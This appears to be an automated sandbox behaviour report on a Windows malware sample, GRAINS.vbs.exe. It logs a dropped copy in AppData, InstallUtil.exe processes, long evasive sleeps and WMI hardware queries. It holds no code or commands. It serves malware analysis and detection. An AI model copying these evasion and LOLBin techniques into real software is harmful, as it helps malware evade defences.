Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Memory allocated: 87F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 29E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory allocated: 4240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory allocated: 4240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Memory allocated: 7E20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1360000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2D80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2B90000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799937
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799602

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Window / User API: threadDelayed 5328	Jump to behavior
Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Window / User API: threadDelayed 1443	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3929	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 5919	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Window / User API: threadDelayed 4010
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Window / User API: threadDelayed 1979
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2704
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7143

Source: C:\Users\user\Desktop\GRAINS.vbs.exe TID: 4788	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3848	Thread sleep count: 3929 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -99828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -99701s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3848	Thread sleep count: 5919 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -99343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -99233s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -99121s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -99014s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98903s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98577s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98140s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97703s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97469s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97230s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -97116s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -96742s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -96625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -96515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -96406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -96297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -96187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -96078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -95078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94966s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94634s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94522s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94420s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94167s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -94062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -93953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4352	Thread sleep time: -93844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe TID: 4520	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -27670116110564310s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5980	Thread sleep count: 2704 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5980	Thread sleep count: 7143 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99627s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99390s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -99062s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98842s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98609s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98390s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -98062s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97950s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97843s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97606s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97484s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97375s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97263s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97156s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -97015s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96879s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96638s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96530s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96422s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96312s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96190s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -96078s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95968s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95858s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95745s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95640s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95526s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95422s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95312s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95200s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -95093s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -94983s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -94875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -1799937s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -1799828s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -1799719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5124	Thread sleep time: -1799602s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\GRAINS.vbs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99701	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99121	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99014	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98903	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97230	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97116	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96742	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94966	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94634	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94522	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94420	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94167	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93844	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Xml.vbs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98842
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97843
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97606
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97375
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97263
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96879
